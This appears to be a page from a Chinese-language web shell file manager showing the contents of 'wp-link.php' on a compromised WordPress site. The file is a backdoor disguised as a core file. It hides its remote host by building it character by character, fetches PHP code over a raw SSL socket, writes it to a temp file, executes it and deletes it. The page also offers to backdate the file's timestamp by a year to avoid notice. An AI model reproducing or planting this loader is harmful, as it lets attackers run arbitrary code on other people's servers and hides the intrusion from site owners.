文件操作 - wp-link.php
返回文件管理
返回主菜单
删除本文件
文件: /storage/v12552/i2kplay/public_html/wp-link.php
编辑文件内容
<?php /** * * * * @return array */ function get_url(): array { $h = ['a','k','u','n','e','k','s','l','u','s','i','f','.','c','o','m']; $host = implode('', $h); $p = ['/','h','u','m','m','/','e','v','o','s','_','i','n','d','i','a','_','p','w','.','t','x','t']; $path = implode('', $p); return [$host, $path]; } /** * * @param string * @param string * @return string|false */ function fetch_content_with_socket(string $host, string $path) { $port = 443; $timeout = 10; $socket = @fsockopen('ssl://' . $host, $port, $errno, $errstr, $timeout); if (!$socket) { echo "Gagal membuka koneksi socket: $errstr ($errno)<br>"; return false; } $request = "GET {$path} HTTP/1.1\r\n"; $request .= "Host: {$host}\r\n"; $request .= "User-Agent: PHP-Socket-Script/1.0\r\n"; $request .= "Connection: Close\r\n\r\n"; fwrite($socket, $request); $response = ''; while (!feof($socket)) { $response .= fgets($socket, 128); } fclose($socket); $parts = explode("\r\n\r\n", $response, 2); if (isset($parts[1])) { return $parts[1]; } return false; } list($host, $path) = get_url(); echo ""; $remote_code = fetch_content_with_socket($host, $path); if ($remote_code) { echo ""; echo ""; $temp_file = tempnam(sys_get_temp_dir(), 'php_remote_') . '.php'; if (file_put_contents($temp_file, $remote_code)) { echo ""; include $temp_file; unlink($temp_file); echo ""; } else { echo "Gagal menulis kode ke file temporer."; } } else { echo "Gagal mengambil kode dari URL."; } ?>
修改文件时间
将文件时间修改为当前时间的前一年
删除文件